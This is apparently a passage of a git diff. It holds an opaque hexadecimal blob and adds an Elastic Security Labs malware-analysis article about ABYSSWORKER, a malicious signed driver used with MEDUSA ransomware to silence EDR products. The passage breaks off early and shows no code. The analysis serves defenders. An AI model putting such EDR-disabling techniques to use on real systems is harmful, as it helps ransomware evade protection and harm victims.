f29c187479f0c799ff0404f61574a9e7486f4ead24f6d1c81b53c2ba9fec5c7e7424ab5290f6df47885bfc4252142508764250b811b870e80a24256d01210ebec424379f7a03f07d03a26210ad31446d06384540f6a1fd65ba6237a907e2e7220ec166d5cdee3bb4e3bea29c6db44fa1ce83af66b87e4deb348ee1c13fff6a9e82ddd8e21fe3872d299ee01775a206f4192363b69f5ae093a9d47e8ebdbf037821f92379d45a70cc168898e893f71b4f92306144ac46af260a497bfae025684d3f7c2a1b76f11174a71fe431422293622f2c6dbd98b7105df49aa2d7ac095e5e2cd6b152256df16d729786ee6cfed51c7f848123b4753aa7769a7e9e0a5df717d21cab88bb53656f3d481bf2df33d0edce1fb7acc414d268ba5db87961bbc0da8a2c579fc7219f30c18adcb44aaf799a84cb9181d565cebc8ab031e0f13759380c34e568eaffc875442b890202e01b14b65e06daced1df521e1abfb42ba776bddcf56e18f3cdcf4ee8b552dc28b8f50a442118b2e774f53ab7f6d16a968216a13ec29de53dad66883a68bce5ef5e43a8bf79eb9b1f30969f9d892ffac786b334faefe4f56e88deca03037c57c94494563f03e2ce85028793aa66fa3d5968621d5c65d9d42441c6ac93bcf1bf896c78abef162ac89e9db4799f7d1e7a4d42addf7ae20cfe9fa0bebf0a00b67bc989214b9b32cf9098976ef3a1d38bf658648eb8a22305a2d82e974510c1ca06d3d70ba01a5f2e75a426c26fb502e6c56b4ce869c4dad2a74a064554fd25cb10e4059993fd79b00fe1be693c8197b98dbd37a7552b5fc93bb53826a5191ffe2a8ad1370bc137624614009f1efa424016ffc34eeef55d3638ecd5c074d946114bc8e84c6f7a7f2c8ec83b36f094192ac0dd5734a8fe0b4588985e7aef430d11cae34da5405c8aab6e4dc4ca51ec8074329c60e8dc3528867c198d3e207c69329fbde8b6c787fd7993a526a8adf5f18d24eeddacdcf908eb5aec8231dd5f87bced6c91cc520454fcb71ac435fb1e4b49ff2f99bf60259d377242c101d9be1bc4b1e5b30ee610bb036af9ee1b926d6a0d0cf7636dbf02285f8d9c0540b717137aac30834f00041fa97728cdb4f809747fdc1b67a4618384578fd5e57fd78cd28c21fb2893aacddcc6763e414566ea97583c6e3865e2714429dd8f270e77de96716b23efd934ff5acc675e891723977a584f4f150ee1593b45e143b3a1e2861554c9d7475a1cd7c447e5dc2ea105c8d216bc1e456bebb05c3cb78e53f0a67f0e81b63292b954d7441246d0794fa3b4f1e0d3b9b15b0253063a188641da2b5a1f9774b99d77b4842ee1b69e67ab1b07734d14b15ddf1e77b8ca9836ef93cb1d3eaf21ff73e8ef2ea407e1d233074908e85edc7a779695e01c5360abca7c600ede8982306f8e9f593b710a403f3ff6d12fecdc96a1f137307216958ff6335579764d377b16067f028837c75127f2c33c43840005f59f007c8c1daba968ad1501c5d0a94002cd4ea4c3b8e40a0dd86c4bb4cd044f21b1c47c0697c0ef4c665319efdcb47ba71e081361a80bed0c9df42dfcc57645cf49b7c0f709870871b1115b6798182bc904643bb302ea21c171e9b423f5772da4721de9d5d7837f00a46334e9af65599a9c22964d2bd231b7848f3360a5819bfaeb82bbfc4ee038429a316b66e48e4a44a02eb7316422ecdea0e84d3615071ced72fbe9b30ec12066182a9e9b3df60103905b25ffc669e94a2991b651eb81654b861f17c58b49806c125f67a2461ad9e17c750c57d74f398e62659c6b1a9c7d47f625594c99d1a7c53aca688f0e12c06e97f22d0b026192e79414811876cdb8bbbd5fa77fe414bfcd46ffb97bda2453455bbdfd309fd91480ed24e7260d1206ec64587deaec28e44307019abfa76437d69146fc9bc43adcc6154cfac5dbb5fa0fc72aa41bb43ab0f17cf1b577a63f39f9a4ed0529a2bd1dc6361b7db552e9fc27bfb5aefa4deb2f54b31a5999da0c739f1019819a320e080b46d2a8d9e06c9f1f269a00faec752f71babd8267eff05464294102aca865cea7a87304ac96d8bbe58e34ff5acc675e891723977a584f4f150ee1593b45e143b3a1e2861554c9d7475a2ac8c3fc8af33257d8785e1e393a2193a140c5fd11b42256c21760328a2fdaf03b7e5e5ad2be07e306be8ec0707299377ab28e359291f57d4b288e2b4b402097f8a309c89f2cb59abd6701a5b79a2ffc5a768ed00d6aab662adcfab774f99489205be05a5011500ac82745c4a5352b7c65d003abbb452e7b55a40cb54610121d7b11b80865b180199d66a336f11d74e31e82d1005a339fda765e90f51b4bf61e0a49df6a5b7d1fb4556c01d839504830945dd93d6fa951e01b9677ded43e8d188b3091eeaa40194872fc621713ae40972f420fe928547274d7cefa324fe623e32f4c82d333df998bb842cd34dd81df6f5f0d41b6392cb8d21c9fd995adb9e8282215c1c7064c7d42ee11945ad13dfef9b4807ffac6d0c003baf4614c802a8f5ddb6a39d0a8d3d5555aad1902fc77c7af058ce8f4408d15401a1c3d3e421fa9935e0a7ee9f803180bf68e4de65b383fadaf87990e316d9a27a07fdda845326e88955220b5c70bc5b4bdd93cf1a932225a83235803a1de886f255130209c2e07cbc0e65aa981e149508f2c2f41358530e64226799f712989c4c0290e7c3d9fc632ba6d33c51739752944be2a9f0cf66e7434ff5acc675e891723977a584f4f150ee1593b45e143b3a1e2861554c9d7475afccab92eddf0ec9954e9c8a73a28742eb4b0ab786af31d9f688610c5e98bc8d14cb5b7b6094d24265b137f6d5de86d1c22ca171171527bd301e68b9650ab2a12cf4fdbbedb42baae5ebc81b645313f9250c324d5e6ee4d01d185c414d80cfe89d849347f78772556753a88e2ddc0efdfe55c25d04cdead62b6e1217738e8a12311307c5cd14b1b347d0a2725fe8fb64d8df2dc6aed53c126ef186d71f7aa576242ef7ba2bf064787f7c74ed91f0082771f3b633f42185ce69142740d0ca743b9251ccde1f989931240453949c9d8d281904024e1724b285576e14ed3f119d9217611e7cfef816638f99cf36d101e09e5b6f25e2bfa20d86aed9b89d9d45879bc4e277647144527ff57bda920a2cab711c90cfd1cf6d0c84f2d0b819fa28e0924d345546557d45bf1b15e7dc1db07a9d4727d4911590667d2a0292b3c77d4f3747591e4460fb408d06238357bc6e2433ebb42ec3c2b74a37146ed2a5886db5040dc643c18c7ac21db6fc5b64d1a07260152cb6bbdf1742c06fc314ae5d410c3b90e3c46a907b152ca4ec33e734d5f2db7049fda102a5e0926da4bac0122b577fb83a36aac6350c7871dc6a092626acfc3e2fcce0f74add147140149a201d39f7978a7879b0880c00e23c6dea0f832cc3ef4b950a0ca5b7e8e4c514c1447c253eb93c82d5598f525f8df198c17186d8183153ea14249fc0e6d2ac506af06f80406360b8f97487a1b917d079ba0215b91ed7e4eefb6ec82be4d2975a1735b94550533b2692e477b163d6b9117cdbbceb6a75365c0b18c6cc1857b8a686b95ec86119a9956c69c019c3cda98faeeec3a7b1aefb7ddcdc3cb42a4693683aa42ffdc286b9ac2246b9afdfa2938b006d9f6bf2dbd89e1a3942e065a00d6b97f288b426556e76fddd33d328930add504755321b958dba5829ed0ffe89dd6b74e75b8b69dd260320e25a017f7b98b2ef0b3fee34cafc5b6c2fa2963587d5029ee2e2aa522e90069f135d88fca0fd0bd09ebaa0e38f85189578caa94dc646efc75efa21b26119fbaecc7f30c3b15440d9746179d5a921802a7ba748d6208a1617f3933024998ef64bb007ba705821c4fcd8891b6f056c7b29a210bd69c35d155babd95fe56995956669339a9f6258cecd2dd2b402651d1077f50879e3eadb717b1504a559f16197c86fc4f60cf3bea3ff735cedc0d4726c41628608b26114600bd08221df55fbf42ebd9d46a21f7cca32a61394cb33d4d5c84d752bef07d17762a56ee94cfcd2fb39d5c87dff921cf9da076592e7bb3e1335e23d2cb60c7ea8dbc193ddb5d13783b9f578f32978cb623dfb32f19014d5b82f5d29a7dfcc13a59e9257019dc6fc5d1e2d5976d8e29eccdeabfa2d78c2fb350d57b328fd8a798d2ec8e8f6f6d81e1691294c0b713e23f914da603af81f520a16a0550572cc40078ef282861b6f7871d95ba90c552bded6dc827cfed8d64e371859c8b7016782f26d4341dbf37568607bb1af9c40c5027538f85972cf186a4a731f3f8b194eccbca9e724a8ce0d91698e10f6cb504ee327f68c22d26bcfd7d7a644002ba38d61fb120a69168cb55fb133d29c346ab54b43c00dac635cd2c384d50dcb5a1e0c47092a02b86c0d5b72c5ebb52d90636baaf0b1afe1ab79ae52c764a666b5f86e24033369e8747dab076ba9563e8bfb26a487eec78daa8cb4d68a127e61cbdf57f339d4a4cc605f79e3244e6992ab663422820c9ff99d3a7ed06e7b2e9346bded96afdf0402e6d5ab39ff3bb890be18b814967cd3c71aa5bc3f9fb2020f5714e88732127f679697e35a80afe00d4a80555fe09227ccbbe8a471c3ca3f10ac49ef7ef0d595ab99880f1b76be40d94530f8d110987f9fa5f488a1675672b21f4e33236aedeeef692e8c4101841de6ade9351875ac8beed082b66be04e1936d626c27c25755c7ff58b784c78ee3210475157d39d3c033486321955b5e93e27486574882b15d6be1c6823f60d88db60aaa77884a331c6ebcaee0e99a4ada73cdcd214cdffb55fff1070fdbcfb8f84b032e35d82867889d3b32f4540a044a72ac8267c74b13539b487d3ed68e869b4ed6dbf56fde37543bf930745d963cc178f7113a421b4c4704c4f581b75e17f66c56639da30d6ff90fb4336e0baa5902ca634c8c2e1befa394bc36f1608b05e93f0bd3d5c3864e4313f79ffbe238d1ad860f42c030a97012603d10ebef35ce96e622fc3a27c5844cad8283237063e6d0ee76c01935ff1e0cd29d9ca7d4048b4666dc7d1fa026ba815692805610a23be89648f74053b81c2be6298a30b4aee8af609748825c862e08b92de01ea0504402e13181441f0f686c3a9c7e4dff80939d65fd7d36695b83eea4383e0f26d01a3a20c59575102840f9c1dbfb0b8cfdf3a5a061bc8ec8ee9d4d206b1ef9dd38dd9d8d44459d08393465d5edbb35190c330200fa29f63da9916a9d912197a2e0bb8aa10a74156fa6c49fb32dbca78cd12aedffeb68c1378004f7ef434487016f15dfe09637a621ca7fa40177dca37fa230f0ac1c18d36006f782c9230c7807205578d417e8fae36274d6d78d0a1612be153b656ca5ed8b0cd7bbc667a6cb1042d90023c8f480990d1b8adfdbbfed5755c36aa08bda730038411c5c2cd60437b7d50d94a73b0d37ab25deede2064bf64d3fa05213de8b8bb109cfc75912c3570f4e07eecc2491456ee44a50d6219a0d6849bf6be0f375467ce970c472c67dfb284ad9f3edd36a0bef7ed2698969043e2026930041a09440606372d51f8653ae493c10aa50063f2a206c64446e30530a59e949b909f8023a90c61c7d699e4bc3d59e4a2b7da08ed62691380f03476b4d50faace7015b228f3131556424c8b34687037419c2e36d550564338aa71b8579782b07c3e1767f733eb2a23db1c12a7057cdb077d8d709f0fc357cc84878f559e69c739a332d4ff5856ada575bacaf3060d7271756385b650a23e161e0d3bdb546ea2b0f9810a687525c395d65b9537905a7b279c3b937eb491573929987ca07eea74370b2413fbb1f881a6ccfd48e5011012223905b16a58262c8ae4125c06ffe9d924c85dee20a582d8e4fcdd83ae55d92d18bcb8a3e9f405e68cabe8d5046d61274ec2ba31128ccd3baffa4f27ae2538391f5ee792585751fa9dcae019b42c8de48ef1012be9899f679f0fb4ad6733b85caa6f1dba19e3de2755bd47376cd65b457125266b6e3091f22206f365dd5da9e20745bd91e375720b649b75567cfe16ef1c0268b2046791693989a701237af74dc620337e51d67d2d05117e03818d1ddd01d78727f3d1e46f1ca08277a1b41b69e107e4c7519188ce31aa753260d69b9b5ae9750a86105424c738e6512a2604303011c6cec0a8113afd9e0efc024efcdedf8fbfc7f466011091d13f0479d1e980b9b300a19e0870ab15510a85235f9672e63efb30fcc593975987bafe582b91cabba2fa21a7f7aef08c9ce8d0b001495507a10046174b088734adc3ac3fe541e83d578829b265cf1b1efec4c840c8483a16da6a9c116a99cceec2cf0ec5416adfb367a2282356eecf323bfa304efffa15d507dee4f3eda315940e869d5124906eb4fa06e3d1ec2572a516a6f405a72f320a8958c34eca33cca24cbb47a47e3541aad730c49295ebeabb7b7a53051d218f6bac20c723f5cb31b537aa30ecdc3ed71f6456e091cd4402756f8848e913c070fa74686d3830420b2141e489994b083030d8bb3daed78683c735ada413ef4c6202b3114c155f4a175398449a5a4c9e5ffcd209fa3ddcbd81bc9200cacdc331e469cc4411fe3cd623e74e4ca97a7d2c411886ee2382b97dedfca22c81b128a810c71ada6006d08920a86e331f3af117d30584f40e3f8f79d35031c8838e90f0ab659bb9998b26f594e24ef492b50add8ad888775e30e0dba5d75668da7dc2c895df6ea10d585d31239d3a4207b567b7282bfff1489c0107d245db6e4490a56b8b62e7000051c56e2e13def85133cfb8cd5918b577c2f29a855e7e0c794023ecadd48d490e14c79fbdca763b93791818a2388781530ad9c41ea8f5c4fabbf39faf25aa153e17c0bc5ed4dd102f16a963b1105a93048dabc7eccfe9c0d36f8fcc5bafc40a03787432e4dd9c07fd40dd769072e332f3ff16ed4c9d41cd80f84d941fb3f4185cbcb31986caff5deb6a32379908cb32cefe97ff8ef8bdc0e6a1cf93a431f82c0cf08a97cf74a3e7f34cbc23903d2d22c36cdd6cb6f4228dc00b45555dfcd5d8a624b92b8877f5c8908909c988d8097dd55fbe432e8719f51eb83a36aac6350c7871dc6a092626acfc3e2fcce0f74add147140149a201d39f795537abe3fbf2b5676204e6cc09ac48ed9730dd0ffe023658006e24fe06fc72ddd36e3288b699cb80d65197882fd5a3db5e338453595a627a27d222120e35cd341a8fa180fb6b09c8452cfa806b98bba245229ad71e4c34752daf4b63dd6db49cbf849d1c8f8f982cd69e2d4de1c67d670f0c3a00d8e341c252e6a224703f74905fa1ed555802d5ce29b42706baa792f8c369a56d916875049c9931935fe09e1f91637165a2b0c9dbd5f4e65010abc4124a4bf0cee76a325be9288d3f7f1d42bf82dbef797bb299ec2a94b4bd3a8d5d83a4ea212911fdef9aa3fb8b13f2bfed3befec2301af62f29e04a7e4a7a5b52b2b87faf50637f549927f0ba0fa9463f8f4d62d6ca08b3aeed7d47e8b05b25aa1edbbd05bd25c2001282131ead2df84768734a39a23db5f37d5c02d278d182fd3bce9154c40362ce0124d7a7307630f3cc9cdecd59439b8853f175b113bf7ed2081737347717c4b0084d064449bf7bcd73b036958c1cd444c7a351cb36e4c57785ac322a81aa4380295428364d9e2e9db8208a9de4eb175d45901aea5bd70074f604392854aa6a97aedfc4e09570c2343a8badec124c4daa3bf6a2e37e187301e632eb7316422ecdea0e84d3615071ced72e64cccd1d9a15bf493a9bebb8b45db41c9bb91930ef5b6110d61cd37ed7ee1c9694f99b2b3ea59efa4ec6fdd972334493d79914d62bc4596abf17b2dbf6a9ee50e3618d276cc4ed021e40024661b1b5e1a0c5c0100386467856dd24a4355492d56d3dc761d592f0efa89788e74dc67641a75d63870a5af244131cb4a6ddf4681cb0c587961aca400daf5462aecfa77d39bbd25fd1220337949370828af294dc80836c4c260dc78b3ed41780c6aa496e2801f0dd398e3b6b3764c0608363287b006f5c534512ffa4aa4c2f9b239d06f232565ee4b302e6c355248aedc2f5ec1993844f900deb1c2745aecc4c93caaa1bf0abbabd958dd57e9da7c4dd9fe0ad6ba829f0657020f8adf84ff2fb0dc6a04dc255eaad8177fbda3d9aab6d004d856606ee26647ff7eae7968b94c850750399b60bc18727877c63ffe886ea1037644ddae67e97d3a79e3294d2e41753ec363a165cf584a76c5ecb29027522aceb94da47f7244f0760a8f09d12ab49cd592695939549432244dbe5bed488a9bff2e88c9f1a4024b9fb6650542f807fc6c0e44bf10b1575e5cdaa94a2e1b87b1a029e4bcdb1f69582e05c5a921d607d3ccbf7d5ee8b869109528f90506f7d72b3cb73a88e8fa7e8957e01d6c41094330f723d9d5137af28bfbc482d4f5c96f473eb8c21d6148dba6957ecab8ed32fc589a08c93f273e4eb7b5c2ca4251fde9352df7307a4b09d37062c89ee42e32ef58e22505cbd808bb398ce19205e524e6c8b4213b68f9ebab96b911aa569d20b104c3be2d600649c927db87ea78ef13541e39682cb00dd56107d10067e5eb1fb0b03c30aa6352e899fa9e8ed732e73ba91281a0462b9679e1f3fe5607d25d4efdee861cefb74f3268901a6d8b51f834e1e97ccccbf53356f4278a3dee8cf064498258e171359eaebde5c0e6e84b1af72b8f033f56b8c93ab4a3fcc656aac71ce5c9fe519118592d89ca09a29e499a3554f57815082d4364008f034db80fb90cc54a28fae827dacac7840de1f88c2cc9b59e5ec2f66136e39791c2d3454e769f2025810de820e7ec46000d33abfe4bad1f31ad5be99f81fd56cb20e5c66dfea5e72be2a367fababae262c9e15ae9bafa86faf7ccfd6135b77afb6ffda40020d81fd1917998490eb431119158db471b4b048b362ed7a27fd714986f0823a5c3c798eb00b655e69c2f4884e8c110ffcbfebf9067977eed309e8747d12ae251294ae9bc8ad04ab2d315a0b2f9ae7de0bac5d7bea2c9d5dc81bf673dc10d0a053cf1995c823405275fe84ae77e8dda9f2981dbd376df55c7c1701961a2087909609e20dc878ee0ef65cf584a76c5ecb29027522aceb94da4a57b88961d49bcf5bc4c565e170465d37f6e5aeb9797bb6724bc5af421db7e52f789985fd9f49e3f79c2ced5346edfe4617774b1bf35eb1b051ae2d61b4d29cb45e13afd12c06e2ee8cfae551985ee439e2c99bd12f83eddd39bb297ed48f61e0760905f4afb82f50c46c1b5c6e52a0e0ae4346757893775bc2a42beabaf774efd1ce324770b7f2202e225b2779962949f5a36c9c864aac9b06fe5955a71217cb7a54f867b8bf675e01ecaabbd2e068d816c5e637366256d7180833680bf336094833ba6a84d355cb4fed4265d33474a2f6bfbbe87e86ae254b11df96051466e549cdabd0fdd869c30e6299f6e74a9751a08c1145e58450d3853fe4c2e80de996f10a296dc83df041345b7dd3e75b1e69b854739ef78e520b5553fdc53e92b35728464a5d0fdd33b3924c7c20d8b816445a06b573fd1c6e040d32df7a087faa86cf4de6ea9b3945d1ead5947e418cb5a1f89285f3ff9b640b29ff3cedc90992ea1659a663891414bb278d8978500b17a8bf89aa3cb52e0ae906424a379ade449060e1a5908ba055972ae72bbe4abbbeb6d1dec53ee3b0db62b7756c73885fcf96d3104e0e2a43458714239044052bc7effe7fb413ee73cd454afd97faf815d7f1c27838d9016399b30f637f26e7ff76c83a36aac6350c7871dc6a092626acfc3e2fcce0f74add147140149a201d39f79cd046499f1f1f74eacb73ef98f7301e306380a915aa4958053fda792b201c1bd1b1ea968b8b9d564e946f3a49973f095a82afb77052b29c8c0bf65d96e494b11f4c0edd1b8cae0c2df6e3347ca26f95df41b91607bd8fcea34ae87bc9b14a6f38331b11c93b18862f6ee8c213eae8728f2046d9da0226d5d2448d1d5eb07ba404b6fe229b46f24acc3d1e84811241f0e615c876b4cb24767da8d074fe37c382522cdea6fc88cbefe06708c52bf57054f6a89b9d40aa66e93321c5f6f6c0e62de0bb6bf9a8bea046665bc276cd48d59d5e82471c496006bf5f06e0e86dda3901afd75f49f70b4386cfb9e8d9120c7cb6eb35d6ce681cef48de4a23120f40fdbe06264d86781cc1598b3487c661d96cbc56cd53e7d98183c51c8a5f7a255d4de85a28e4e172ec00dedbc60b362de7a6251d80b9799480dcd8e8871a168e782d7a544cac1370f8381ef92f4b937580101380b3a5e34f292627fde838f6e317466cacc4fc90a7c50bb4bfce932ed712582884233212649e142e0033a7b14820b41fc6bf1045d7b9dee560f21f02faefa297caa765f95b9475f33f447fb9c2ba88a6f3a40253db7193970d928ff247ad14bbc06f48eea6e20d7e61a807a3c53fce0619aeca437a368e0911e1b6843e97d28e3fe73b8e1f51ce5ada10cc8ff38e7db6deca2245e3f1c924bc27b1a2f1796f1eab87cf7b28c33c2d768f939a48fa451c92287c99709d4f0128ba5f9069a905c3b8bb09dab52f25e83bb3363bf12f204a559ce07bc50eda51bab7d6af8e7877a3d2275d1b6ca85ef836253a95d3c68590fa6c3e21d07cb10e644feed794c4145a7df0568cc15c4b5eae6d5cd66106c42159e61f46e0e017408acc479d08344f72b70e13b6ccedb6de9d627a3ddf2505083b2c033ae5df9b8e508ff2b8924c761b29e1c1222ff60edf084a08144097089efaebe68cc6490d5fb22f549e30de851503a8673c4037cc632714220588e7bf993f4ed85a39a5cd4ad920bcc516109dd96353050c34ffce77f80f60301b2a2806ca5e085f55a2f3c808fc41be05121cf7f9085bec7caee4d53d2e1606ba6e8486d1896a975248083ba06a164a957be4bb20abad3bb54fc067d9aba2928a8bbecb1ff0586450e124926dea4815fc62c9f74cd68786113f79c7c33ad4b3b1ddb74641ece67e8c02a075925c740669ba28668b60afd2d816a4a3ebe0fb005904dec18c03fa40a9d62a1c44f16d061fe5d2dfeb8ab448922a62528bbd913ec90e45ee8be377243afc4f688cccc360d0aad76274347a2a1aa492a151081cf1157b640c1888e8f9899cd6b307e72bb4aa00fec142ba56b33d63d9cab3e67c565125cb5060d005c104e9bdf212675716bc8127600bf881755dd9f21c5b96cce17197c2ac5cfed9706b05ff94b90791c1cbd6e7718f553a6ae8fc6953c1679e28a344e2d76a203768502f3df5ed5860ac9c9a06a1e55686711379dd9ad907f2705096b4fb834ff5acc675e891723977a584f4f150ee1593b45e143b3a1e2861554c9d7475afae10243290d25cfa8bf9cd5de35eadb2868de40fd9e6231c7e9d1e587814791d131f60bd70c9b409f879d72610b88446e149c336cfc785059394ba2e170bfed34ad9860bd212d27511ff0fd5670040c8508915d1565b637bc840c76fa30353b4e0c0be2fbd986ef1dfbbd1ee9fe64232b41c35c984d0b00e4ba730ba90a3f4fe527912bb09ca689ed2848896e6b94cee4a694476ba1b3b7ed61b537ecaf1ef48ad8f0ab0b39ca182c377eee4073d31de28c072c8b1939c1f22413f07525a9e544b5e69dce6aae7ac481290504b28b9dde6104a579902348f026e704b0d37116b8fa2d27f34f9d7975bd2c387e244d159b3cd5fbaf719db40a144e005a42440eaf963322482d32e4d52a999c7363a05e2a151b983a72591c305da666a734c5b1b8f53c0e0ae58f9c6dfe374fd38a91f154566019b9f17ace5fd3911404e65c09f4f3a89f658bbf63ebb738e09b6d1eaef0acb9b293dd5f88a724c9c30a22dc96e6f347471fce349691c0639e665a16f19ba1170b60f02f727b51874a9381056feaf04365590ed315607ee8eb4311d5a610dbbe1f8bc8ef3678e18229dbba103c15f40debf7f42968f15cc34d42062bceaf42fc7681e60cb3ae25206d03757a094d82f2fd164f0e984403122db4e7dd53c41536b0a9b6c91b06080e0f6908987a1087735107e4c8d20733902c40f4fb9208ece7bff1b34f2b397ca62bbb9c34095fc71db5ad3a7308b06309111264aa4c43762ba1b3942a42523998c97666a1f79ed215e58c59318f937fa0ff933c2e37f72584828119c3d4f0ced03023bc8bf62865692da945086c1dac49a2e317e257dd90540bd780bc9f0141bfb6e0e6337d05b193c15518335c56f38202830ca0246bd6c6dc332287fc4ee4e50b5a678ab2ee876ebeb453aac3a3b2941ff9981827d56e86f886649d92a08276d2b938d55aba16de430f8e45da19ce9f96703c094e72c247db2d82f7d389ce77ff8c2807392ce8114aff96caf7030dd9af9d06c618cde9b92f60232b06737bf7cfe58304424750b85f9b330a30b9830fc198b63066a970f311604e1b7a3b96fcc6e789b762ede1e3521ae69679c8b751a2686cff13cb9e46e595b056504129c3c57bd34d8e98919536aa30d167e1c0d8434e91c9b4325e921d9458f0446e963003130fcf2f6e9b2dc6dbcda8fc7b665e9b508e86fdf0f877037855cadc70b0fe773a457df44de2ed8b6349a33b881cfb5b0c5e2226756cf03b180066b66b3f0abb06dcc2ffad13ea13378bc62a199f5bb338c21632c5a4c4c3051f031c7e05d5b1a56d461c39d8d8bc5d03ae42bd27e9485557c93340129b234c901515e1491d87f62520f651e0a329485006bdbab0de154134813a24aec1a3ecff10a5c465369135c0519875893e98ce4f023698b55e8182327a22bcda74177e6b50f11329e6b73166c8362f9b88d37411794a5bb07c8a19a9c401bb70f9045cc977c8575ae522bf5f10d2b2d452cc23d3a3157c6d971e20c82f4c40cb983ccf328618eb4d91155c18e2d480d0ec32c10e8f63cf4ac3dc22801861a55ffa2d8b078ee9b0fa2ed5a65237c9cb33e5aab37a12dcc984df09a477aae6894083f6f3600315974ad3f615107a18f57c863505eff946bd27c8b08f8e40cbc0d33615e25c86cacaa6835ca94a0367ec3eeb583b2f833639b1d02bab881db3f44d554107f466f3a0f09474a7a92898c0240714f6970f3d849cd41da5c5c21028fa8750925d65dc01f6a027b63fad4bc5ca1bd116d40b7aad926e1af9ad439103cbce7e61dbcb962a41f4958f938407853a2d1a7b19331ca47032eecc1abb7a4d6d9342187dc489616a8db5a3a49309819c2f6cf55eb8b79811679382a641c83fe2da43a98f4dfc4161fad928ddf315600a5764cecce89bc1d24fd3e5d7ae5742da11c702b97fedc81dd3640e9e1f3945012a150bf4cbec3baec81f00f3d339e151f08c1814268222e2bbb2660ea3d7c3d88beb83ad00e85e2745f0faf2f2fb053f6b0d344f63b3f0915be2df66823394df672c622d3f42440d07b0c964a642c3b1ce9d0138b1189cc5ab1a226ced726a798aaa08ac366153d35df2eec01a99af78d5d4385626ced5f0209d8982a61b69497686262a21799b731e6de825b53cb6ba04307e2c9297f7a136d66303b3f94a3ba832966ca83cec1b55d9e8702c0f0e95f1acd6382848d61f21a4338306fef228de195b44f0bd06362e3cea9b995bcbb6c09e73b1571d3ee5cd6a4c1e646dc2b4818c9302731724d705775ad8659df7f557def2b35b2103f39f2388b6bb8dc215a3a7983078e432984184e541e7cca7acb2aa50c1fe74fd51db3932c301ae772580ec3f569d6fd94228ba550ac360ee5f5223417ef806ecc0bad6bb968ad60df4445f517ae0fd3a362010882b4b563763dc75dd977ddad857ccdc7ed8688790b10f5934a42be83df75ff00ec3ae5e158215c7f6514c7c55f5e7a341ec2c3a691de758aefff3d57c63fbf75068c2d5bcc84763f914004fff4a21f7eaedac7b55263ad110bbd594f15867369762d2a831bdac1add3d05104d980bf7c854f20d86203110732f14283bd8b6cae1d1a40f103ab197b27c7c23679206d3de64baeb28db75dbb81db5fdcc307ef402d406f25bf62730a79ee09fea1f58ba1be5b1001cde650e162dded06b61751ba9bf8e998f21c29079b97d509d25c1228586133b6c2b2ca3a9a65564128ecf0f039be413af15dbb9129c24c44ab5c94b2665563982a8248866daf74d71543d9a634f337c9bd5ca2d9215db3fa35c4499be399d66dbcdbb0b0ea44c12718aad9544847f379e92449de52935bf41343f44de1883993416b41e64dc0d7cf7a21e8d622a7a2bcae550a934ab1dbd6af42753e19a92712c6c41b46c1c538dd5c0bec51a2356abb29ddb6bac5d26b1d5470b000d5a9b46c43616e7484683d4665e3f55b4a8f233d668834d0091a762e8c655af2cb5d2f26cd9ec5f66f24d31ecc6b6f0b912ae04908edb7f8108d3654f638a06c2aa49447e8ca56f40665acdf201db6f647e3063adbe7104ae0fbf2838ec398cee8d839cc481e142f248a06276712d622ca4567f7a6ffee9ebd7d3bd8f4587f6a80a3c2ef41e4034b39c7333086478946d13f591e70341aaf4b840f215bede8ac6b9ab527b9025b3ca5bb0e0baa98727f933c190dd1522ff996b928cb6621a7c53cac9192b36818fdf24c39a30ab05f9e363a9251ad59a2052ea6dd6ff0686fd713bb207f68f7e68a4e6e9ab3cd15c4edc06bfa9b990b2c3618a43fbf4becfe451d3cc6d7b6419ee7442df4a7b95a43fa799d505f01cc879b8ddfa55d9d2de1750443598aba209d082a99c841fd1693af69aec97110a8f57721e0f1274f7681d1a100839545c08a91a693cb5a3c893a690166184e19bac67a6de564d057cd7d7f7e850f0d057d65ba08c79f317dfe879606190b96275c9af8b875953e8950cbbd4e3a904187f48e0992149a6d478f65f57f643704b9da6b4bab165183f0e7ccfeb85d91ab7c9fae859129c1abf00ea2d9bc82bd7115ca73934704e5c0225bdbda054b512be5832b4b5da92a426000a3ee3366a45d93e6f91414217378ae3d96454590d8ad1cd1c4faf69ef440a1e9b8940174365579514671695120880d0f8468c284bb7a06a70c60a63fd10bb69b5b45485942398f6c7b58371d4db7a99349603627dd4ea742eda5c1c4ff468195e90897bf4cd00899088c014fa70a9582b0a48093a64b83478a462a9b5ae15725617d114ef5866207723da4a2484e59a8d883ad474656b372d59dc03ebb1686375a6daab787425595367b79f1e9ae3391f71d5b44ef6 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/abyssworker.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/abyssworker.md new file mode 100644 index 0000000000000..4fd7e99891954 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/abyssworker.md @@ -0,0 +1,381 @@ +--- +title: "Shedding light on the ABYSSWORKER driver" +slug: "abyssworker" +date: "2025-03-20" +description: "Elastic Security Labs describes ABYSSWORKER, a malicious driver used with the MEDUSA ransomware attack-chain to disable anti-malware tools." +author: + - slug: cyril-francois +image: "abyssworker.jpg" +category: + - slug: malware-analysis +tags: + - abyssworker + - medusa + - poortry +--- + +# Summary + +Cybercriminals are increasingly bringing their own drivers — either exploiting a vulnerable legitimate driver or using a custom-built driver to disable endpoint detection and response (EDR) systems and evade detection or prevention capabilities. + +Elastic Security Labs has monitored a financially motivated campaign deploying MEDUSA ransomware through the use of a [HEARTCRYPT](https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/)\-packed loader. This loader was deployed alongside a revoked certificate-signed driver from a Chinese vendor we call ABYSSWORKER, which it installs on the victim machine and then uses to target and silence different EDR vendors. This EDR-killer driver was [recently reported](https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/) by ConnectWise in another campaign, using a different certificate and IO control codes, at which time some of its capabilities were discussed. In 2022, Google Cloud Mandiant disclosed a malicious driver called [POORTRY](https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/) which we believe is the earliest mention of this driver. + +In this article, we take an in-depth look at this driver, examining its various features and techniques. We also provide relative virtual addresses (RVA) under each reversed code screenshot to link the research with the reference sample, along with a small client example that you can use to further experiment with this malware. + +# Technical Analysis + +## PE header + +The binary is a 64-bit Windows PE driver named `smuol.sys`, and imitates a legitimate CrowdStrike Falcon driver. + +![ABYSSWORKER driver PE header description](/assets/images/abyssworker/image5.png) + +At the time of analysis, we found a dozen samples on VirusTotal, dating from 2024-08-08 to 2025-02-24. Most were VMProtect packed, but two — referenced in the observable tables below — weren’t protected. + +All samples are signed 